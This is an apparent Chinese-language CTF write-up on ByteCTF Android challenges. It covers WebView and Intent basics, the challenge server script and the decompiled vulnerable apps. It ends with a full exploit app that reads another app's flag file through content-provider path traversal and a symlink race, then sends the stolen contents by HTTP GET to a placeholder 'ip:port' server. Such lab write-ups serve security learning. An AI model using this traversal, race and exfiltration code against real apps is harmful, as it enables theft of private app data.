创建WebView拥有两种方法,第一种方法是WebView webview = new WebView(getApplicationContext());创建;第二种是在xml文件内放在布局中;下面以第二种方法为例
写完之后运行,发现报错,无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED), 经过搜索在manifest内设置usesCleartextTraffic为true即可
将一个url解析成uri对象的操作是Uri.parse(“http://www.baidu.com”),就是将百度网址解析成一个uri对象,可以对其进行其他的各种操作了
intent是各大组件之间通信的桥梁,Android有四个组件,分别是Activity,Service,Broadcast Receiver,Content Provider;组件之间可以进行通信,互相调用,从而形成一个app
每个应用程序都有若干个Activity组成,每一个Activity都是一个应用程序与用户进行交互的窗口,呈现不同的交互界面。因为每一个Acticity的任务不一样,所以经常互在各个Activity之间进行跳转,在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统,系统会根据这个Intent帮助你找到对应的Activity,即使这个Activity在其他的应用中,也可以用这种方法启动它。
intent包括两种,一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名,多发于同一个app内;隐式intent只知道要执行的动作是什么,比如拍照,录像,打开一个网站。
那么隐式的intent如何启动一个组件呢呢?如果没有约束的话可能会造成一些后果,所以在Manifest文件内定义了intent-filter标签,如果组件中的intentfilter和intent中的intentfilter匹配,系统就会启动该组件,并把intent传给它;若有多个组件都符合,系统变会弹出一个窗口,任我们选择启动该intent的应用(app)。
该属性是显式intent特有的,表明要启动的类的全称,包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。
一个activity是否能被其他app的组件启动取决于"android:exported",true能,false不能。如果是false,这个activity只能被相同app的组件启动,或者是相同user ID的app的组件启动。
一个字符串变量,用来指定Intent要执行的动作类别(比如:view or pick)。你可以在你的应用程序中自定义action,但是大部分的时候你只使用在Intent中定义的action,你可以通过Intent的setAction()方法设置action。
一个Uri对象,对应着一个数据。只设置数据的URI可以调用setData()方法,只设置MIME类型可以调用setType()方法,如果要同时设置这两个可以调用setDataAndType()。
一个包含Intent额外信息的字符串,表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中,你可以通过调用addCagegory()方法来设置category。
Intent可以携带的额外key-value数据,你可以通过调用putExtra()方法设置数据,每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据,然后通过调用putExtras()方法来设置数据。
用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
运行run.sh,我自己启动了一遍docker环境,修改了一些部分,最终发现是在server.py文件的setup_emulator()函数中没有模拟出来手机,只是创建了一个AVD环境,并没有emulator成功
adb broadcast便是将服务器上的flag传给apk的FlagReceiver,通过adb shell进入手机,可以查看到flag被存到了"files/flag"内
之前有一个疑问,便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter,防止外界app进行干扰,那么是怎么将flag传递给FlagReceiver呢?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import
os
import
random
import
subprocess
import
sys
import
time
import
requests
import
uuid
from
hashlib
import
*
import
zipfile
import
signal
import
string
isMacos
=
len
(sys.argv)
=
=
2
wordlist
=
string.ascii_letters
difficulty
=
4
random_hex
=
lambda
x: ''.join([random.choice(wordlist)
for
_
in
range
(x)])
ADB_PORT
=
int
(random.random()
*
60000
+
5000
)
EMULATOR_PORT
=
36666
if
isMacos
else
(ADB_PORT
+
1
)
EXPLOIT_TIME_SECS
=
30
APK_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"app-debug.apk"
)
FLAG_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"flag"
)
HOME
=
"/home/user"
VULER
=
"com.bytectf.silverdroid"
ENV
=
{}
ENV.update(os.environ)
if
not
isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT"
:
"{}"
.
format
(ADB_PORT),
"ANDROID_SERIAL"
:
"emulator-{}"
.
format
(EMULATOR_PORT),
"ANDROID_SDK_ROOT"
:
"/opt/android/sdk"
,
"ANDROID_SDK_HOME"
: HOME,
"ANDROID_PREFS_ROOT"
: HOME,
"ANDROID_EMULATOR_HOME"
: HOME
+
"/.android"
,
"ANDROID_AVD_HOME"
: HOME
+
"/.android/avd"
,
"JAVA_HOME"
:
"/usr/lib/jvm/java-11-openjdk-amd64"
,
"PATH"
:
"/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:"
+
os.environ.get(
"PATH"
, "")
})
def
print_to_user(message):
print
(message)
sys.stdout.flush()
def
download_file(url):
try
:
download_dir
=
"download"
if
not
os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file
=
os.path.join(download_dir, time.strftime(
"%m-%d-%H:%M:%S"
, time.localtime())
+
str
(uuid.uuid4())
+
'.apk'
)
f
=
requests.get(url)
if
len
(f.content) >
10
*
1024
*
1024
:
return
None
with
open
(tmp_file,
'wb'
) as fp:
fp.write(f.content)
return
tmp_file
except
:
return
None
def
proof_of_work():
print_to_user(f
"First, to ensure that the service will not be dos, please answer me a question."
)
prefix
=
random_hex(
6
)
suffix
=
random_hex(difficulty)
targetHash
=
sha256((prefix
+
suffix).encode()).hexdigest()
print_to_user(f
'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"'
)
print_to_user(f
'Please enter the {"x"*difficulty} to satisfy the above equation:'
)
proof
=
sys.stdin.readline().strip()
return
sha256((prefix
+
proof).encode()).hexdigest()
=
=
targetHash
def
check_apk(path):
try
:
z
=
zipfile.ZipFile(path)
for
f
in
z.filelist:
if
f.filename
=
=
"AndroidManifest.xml"
:
return
True
return
False
except
:
return
False
def
setup_emulator():
subprocess.call(
"avdmanager"
+
" create avd"
+
" --name 'pixel_xl_api_30'"
+
" --abi 'google_apis/x86_64'"
+
" --package 'system-images;android-30;google_apis;x86_64'"
+
" --device pixel_xl"
+
" --force"
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null"),
env
=
ENV,
close_fds
=
True
,
shell
=
True
)
return
subprocess.Popen(
"emulator"
+
" -avd pixel_xl_api_30"
+
" -no-cache"
+
" -no-snapstorage"
+
" -no-snapshot-save"
+
" -no-snapshot-load"
+
" -no-audio"
+
" -no-window"
+
" -no-snapshot"
+
" -no-boot-anim"
+
" -wipe-data"
+
" -accel on"
+
" -netdelay none"
+
" -no-sim"
+
" -netspeed full"
+
" -delay-adb"
+
" -port {}"
.
format
(EMULATOR_PORT)
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null ")
+
"",
env
=
ENV,
close_fds
=
True
,
shell
=
True
,
preexec_fn
=
os.setsid)
def
adb(args, capture_output
=
True
):
return
subprocess.run(
[
'adb'
]
+
([
'-s'
,
'emulator-36666'
]
+
args
if
isMacos
else
args),
env
=
ENV,
close_fds
=
True
,
capture_output
=
capture_output).stdout
def
adb_install(apk):
adb([
"install"
,
"-t"
, apk])
def
adb_activity(activity, extras
=
None
, wait
=
False
, data
=
None
):
args
=
[
"shell"
,
"am"
,
"start"
]
if
wait:
args
+
=
[
"-W"
]
args
+
=
[
"-n"
, activity]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
if
data:
args
+
=
[
"-d"
, data]
adb(args)
def
adb_broadcast(action, receiver, extras
=
None
):
args
=
[
"shell"
,
"su"
,
"root"
,
"am"
,
"broadcast"
,
"-W"
,
"-a"
, action,
"-n"
, receiver]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
adb(args)
print_to_user(r
)
if
not
isMacos:
if
not
proof_of_work():
print_to_user(
"Please proof of work again, exit...\n"
)
exit(
-
1
)
print_to_user(
"Please enter your poc url:"
)
url
=
sys.stdin.readline().strip()
if
url.strip(
'"'
)
=
=
url:
url
=
f
'"{url}"'
if
not
url.startswith(
'"https://'
):
print_to_user(
"Invalid poc url.\n"
)
exit(
-
1
)
print_to_user(
"Preparing android emulator. This may takes about 2 minutes...\n"
)
emulator
=
setup_emulator()
adb([
"wait-for-device"
])
adb_install(APK_FILE)
with
open
(FLAG_FILE,
"r"
) as f:
adb_broadcast(f
"com.wuhengctf.SET_FLAG"
, f
"{VULER}/.FlagReceiver"
, extras
=
{
"flag"
: f.read()})
adb_activity(f
"{VULER}/.MainActivity"
, wait
=
True
, data
=
url)
print_to_user(
"Launching! Let your apk fly for a while...\n"
)
if
isMacos:
input
(
'wait for debug'
)
else
:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user(
"exiting......"
)
try
:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except
:
pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.bytectf.silverdroid;
import
android.net.Uri;
import
android.os.Bundle;
import
android.util.Log;
import
android.webkit.WebResourceRequest;
import
android.webkit.WebResourceResponse;
import
android.webkit.WebView;
import
android.webkit.WebViewClient;
import
androidx.appcompat.app.AppCompatActivity;
import
java.io.
File
;
import
java.io.FileInputStream;
import
java.io.IOException;
import
java.util.HashMap;
public
class
MainActivity extends AppCompatActivity {
@Override
/
/
androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
this.setContentView(
0x7F0B001C
);
/
/
layout:activity_main
Uri uri0
=
this.getIntent().getData();
/
/
获得intent所传过来的data参数,可以来自另一个app
if
(uri0 !
=
null) {
/
/
若参数不为null
WebView webView
=
new WebView(this.getApplicationContext());
/
/
新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() {
/
/
当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开
@Override
/
/
android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
/
/
当shouldOverrideUrlLoading返回值为true,拦截webview加载url
try
{
Uri uri0
=
Uri.parse(url);
/
/
解析url
Log.e(
"Hint"
,
"Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240"
);
if
(uri0.getScheme().equals(
"https"
)) {
/
/
scheme必须是https
return
!uri0.getHost().endsWith(
".myqcloud.com"
);
/
/
若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return
true;
}
return
true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
/
/
android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
/
/
拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0
=
request.getUrl();
/
/
获得js请求的request
if
(uri0.getPath().startsWith(
"/local_cache/"
)) {
/
/
检查域名后的path是否为
/
local_cache
/
开头
File
cacheFile
=
new
File
(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
/
/
只是在内存中创建
File
文件映射对象,而并不会在硬盘中创建文件,新建
file
以cache为目录,uri0的最后一个地址段
/
/
getCacheDir获取手机中
/
data
/
data
/
包名
/
cache目录;
if
(cacheFile.exists()) {
/
/
若映射的文件真实存在,则进入下面循环
try
{
inputStream
=
new FileInputStream(cacheFile);
/
/
其将文件内容读取到了内存inputStream内,之后可以进行读取操作
}
catch(IOException e) {
return
null;
}
HashMap headers
=
new HashMap();
headers.put(
"Access-Control-Allow-Origin"
,
"*"
);
return
new WebResourceResponse(
"text/html"
,
"utf-8"
,
200
,
"OK"
, headers, inputStream);
/
/
返回响应
}
}
return
super
.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView);
/
/
webView.getSettings().setJavaScriptEnabled(true);
/
/
设置WebView属性,能够执行Javascript脚本
webView.loadUrl(
"https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url="
+
uri0);
}
}
}
经过分析可知,MainActivity先loadUrl,从判断传入的intent是否符合https开头,以.myqcloud.com结尾,若符合;在请求js脚本的内容时会拦截其响应,对js脚本的response地址进行检查,则返回响应时修改响应数据。
经过分析得知我们传入的poc必须以"https"开头,在webview中处理时以"myqcloud.com"结尾,但是在jump.html跳转页面时不包含myqcloud,需要用到字符转换之类.
由于是赛后复现,观察其他师傅的wp发现,我们js脚本中的请求url必须包含有flag文件,我自己也尝试过在几个服务器内部部署一个flag文件,可能是由于docker启动的问题,导致网络不稳定,一直请求不到
打开apk之前,先大概看了一眼docker和启动环境的脚本,和Silver Droid的大致一样,其中server.py的实现便不同,大致便是由攻击者实现一个恶意apk,将题目提供的apk和自己实现的apk均安装到模拟器内,启动恶意apk的MainActivity来获得flag
MainActivity的exported属性为true,所以可以通过外部app来启动MainActivity,具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件,然后受害者app通过setResult将flag回带给恶意apk。
想要读取flag文件,需要利用fileprovider,可知authority是com.bytectf.bronzedroid.fileprovider,所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag
如何通过一套标准及统一的接口获取其他应用程序暴露的数据?Android提供了ContentResolver,外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.bytectf.golddroid;
import
android.content.ContentProvider;
import
android.content.ContentValues;
import
android.database.Cursor;
import
android.net.Uri;
import
android.os.ParcelFileDescriptor;
import
java.io.
File
;
import
java.io.FileNotFoundException;
import
java.io.IOException;
public
class
VulProvider extends ContentProvider {
/
/
@Override
/
/
android.content.ContentProvider
public
int
delete(Uri uri, String selection, String[] selectionArgs) {
return
0
;
}
@Override
/
/
android.content.ContentProvider
public String getType(Uri uri) {
return
null;
}
@Override
/
/
android.content.ContentProvider
public Uri insert(Uri uri, ContentValues values) {
return
null;
}
@Override
/
/
android.content.ContentProvider
public boolean onCreate() {
return
false;
}
@Override
/
/
android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File
file0
=
this.getContext().getExternalFilesDir(
"sandbox"
);
/
/
file0
=
/
sdcard
/
Android
/
data
/
com.bytectf.golddroid
/
files
/
sandbox
/
File
file
=
new
File
(this.getContext().getExternalFilesDir(
"sandbox"
), uri.getLastPathSegment());
/
/
/
/
file
=
/
sdcard
/
Android
/
data
/
com.bytectf.golddroid
/
files
/
sandbox
/
uri.getLastPathSegment()
try
{
if
(!
file
.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
/
/
防止目录穿越,getCanonicalPath会将目录中存在.
/
和..
/
的路径全部转化成没有.
/
和..
/
的路径,下面例子
/
/
Path: workspace
/
test
/
..
/
..
/
..
/
..
/
.
/
test1.txt
/
/
getAbsolutePath:
/
Users
/
eeee
/
Desktop
/
CTF
/
ByteCTF
/
Gold_Droid
/
workspace
/
test
/
..
/
..
/
..
/
..
/
.
/
test1.txt
/
/
getCanonicalPath:
/
Users
/
eeee
/
Desktop
/
CTF
/
test1.txt
throw new IllegalArgumentException();
}
}
catch(IOException e) {
e.printStackTrace();
}
return
ParcelFileDescriptor.
open
(
file
,
0x10000000
);
/
/
0x10000000
代表只读
}
@Override
/
/
android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return
null;
}
@Override
/
/
android.content.ContentProvider
public
int
update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
return
0
;
}
}
如果是link文件,file.getAbsolutePath()是链接文件的路径;file.getCanonicalPath是实际文件的路径(所指向的文件路径)。
如果不关闭的话,file.getCanonicalPath是不会得到文件的软链接的路径,所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。
那么我一开始想不到我们编写的apk如何与目标apk进行交流,如何启动目标apk的VulActivity,一方面需要请求受害者apk的VulProvider,另一方面需要进行线程竞争和软链接,当软链接合法的时候通过openFile的检测,进入ParcelFileDescriptor.open,这时如果凑巧非法链接到了flag文件,便可以得到flag了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
package com.bytectf.pwngolddroid;
import
androidx.appcompat.app.AppCompatActivity;
import
android.content.ContentResolver;
import
android.net.Uri;
import
android.os.Bundle;
import
android.util.Log;
import
java.io.BufferedReader;
import
java.io.IOException;
import
java.io.InputStream;
import
java.net.HttpURLConnection;
import
java.net.URL;
public
class
MainActivity extends AppCompatActivity {
String symlink;
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection
=
null;
BufferedReader reader
=
null;
try
{
Log.e(
"in_httpGet"
,
"inHttpGet1"
);
URL url
=
new URL(
"http://ip:port/flag?flag="
+
msg);
/
/
这里可以写自己博客的ip和端口,对其进行访问,然后查看日志,我的日志在
/
var
/
log
/
nginx
/
access.log
Thread.sleep(
1
);
Log.e(
"in_httpGet"
,
"inHttpGet2"
);
connection
=
(HttpURLConnection) url.openConnection();
Thread.sleep(
1
);
Log.e(
"in_httpGet"
,
"inHttpGet3"
);
connection.setRequestMethod(
"GET"
);
Thread.sleep(
1
);
Log.e(
"in_httpGet"
,
"inHttpGet4"
);
connection.getInputStream();
Thread.sleep(
1
);
Log.e(
"httpget succeed"
,
"http_get succeed"
);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}).start();
}
private String readUri(Uri uri) {
InputStream inputStream
=
null;
try
{
ContentResolver contentResolver
=
getContentResolver();
inputStream
=
contentResolver.openInputStream(uri);
if
(inputStream !
=
null) {
byte[]
buffer
=
new byte[
1024
];
int
result;
String content
=
"";
while
((result
=
inputStream.read(
buffer
)) !
=
-
1
) {
content
=
content.concat(new String(
buffer
,
0
, result));
}
return
content;
}
} catch (IOException e) {
Log.e(
"receiver"
,
"IOException when reading uri"
, e);
} catch (IllegalArgumentException e) {
Log.e(
"receiver"
,
"IllegalArgumentException"
, e);
}
finally
{
if
(inputStream !
=
null) {
try
{
inputStream.close();
} catch (IOException e) {
Log.e(
"receiver"
,
"IOException when closing stream"
, e);
}
}
}
return
null;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String root
=
getApplicationInfo().dataDir;
symlink
=
root
+
"/symlink"
;
try
{
Runtime.getRuntime().
exec
(
"chmod -R 777 "
+
root).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
String path
=
"content://slipme/"
+
"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F"
+
"data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink"
;
/
/
String path
=
"content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1"
;
new Thread(()
-
> {
while
(true) {
try
{
Thread.sleep(
1
);
Runtime.getRuntime().
exec
(
"ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 "
+
symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(()
-
> {
while
(true) {
try
{
Thread.sleep(
1
);
Runtime.getRuntime().
exec
(
"ln -sf /data/data/com.bytectf.golddroid/files/flag "
+
symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(()
-
> {
while
(true) {
try
{
Thread.sleep(
10
);
} catch (InterruptedException e) {
e.printStackTrace();
}
String data
=
readUri(Uri.parse(path));
if
(data.length()>
0
){
Log.e(
"has_data"
,data);
httpGet(data);
}
}
}).start();
}
}
参考链接:
https://blog.wm-team.cn/index.php/archives/28/
http://gityuan.com/2016/02/27/am-command/
https://blog.csdn.net/Palmer9/article/details/122420707
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
https://juejin.cn/post/6844903938790014990
https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
https://support.google.com/faqs/answer/7496913